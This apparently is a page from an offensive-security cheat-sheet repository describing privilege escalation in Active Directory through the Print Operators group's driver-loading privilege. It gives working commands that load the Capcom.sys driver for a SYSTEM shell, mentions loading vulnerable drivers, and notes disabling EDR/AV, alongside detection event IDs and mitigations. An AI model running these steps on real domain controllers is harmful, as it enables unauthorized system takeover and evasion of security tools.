repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
attack-52-abusing-print-operators-group.mdMarkdown70 lines2.3 KiBsource raw download

title: "Attack #52 โ€” Abusing Print Operators Group" description: "whoami /priv" category: active-directory subcategory: "Privilege & Group Abuse" tags: ["active-directory", "privilege-escalation"] tools: ["PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Six/๐ŸŸฃ Attack #52 โ€” Abusing Print Operators Group.md"#

๐ŸŸฃ Attack #52 โ€” Abusing Print Operators Group#


๐Ÿ“– How It Works#

Print Operators can log on to Domain Controllers and manage printers. More importantly, they have the SeLoadDriverPrivilege โ€” the ability to load kernel drivers into the operating system. This can be abused to load a malicious driver that grants SYSTEM access or disables security controls.


โš™๏ธ Prerequisites#

Requirement Detail
Membership in Print Operators Provides SeLoadDriverPrivilege on DCs

๐Ÿ’ป Full Commands#

# โ”€โ”€ Verify privilege โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
whoami /priv
# SeLoadDriverPrivilege        Load and unload device drivers    Enabled

# โ”€โ”€ EoPLoadDriver exploit (load Capcom.sys for kernel execution) โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
.\EoPLoadDriver.exe System\CurrentControlSet\MyDriver .\Capcom.sys
.\ExploitCapcom.exe
# Spawns SYSTEM shell

# โ”€โ”€ Alternative: load vulnerable driver for BYOVD attack โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
# Bring Your Own Vulnerable Driver โ€” load a signed but vulnerable driver
# Then exploit it for kernel-level code execution

๐Ÿ›ก๏ธ Detection โ€” Event IDs#

Event ID Source What to Look For
4672 Security Log SeLoadDriverPrivilege assigned
7045 System Log Driver loaded
Sysmon 6 Sysmon Driver loaded โ€” filter for non-standard drivers

๐Ÿ”— Attack Chain Context#

[Print Operators] โ”€โ”€โ†’ SeLoadDriverPrivilege โ†’ load kernel driver โ†’ SYSTEM
         โ”‚
         โ”œโ”€โ”€โ†’ ๐Ÿ”— Kernel driver โ†’ disable EDR/AV โ†’ undetected persistence
         โ””โ”€โ”€โ†’ ๐Ÿ’€ Defeated by: empty Print Operators group, driver signing enforcement

โœ… Attack #52 โ€” Print Operators complete.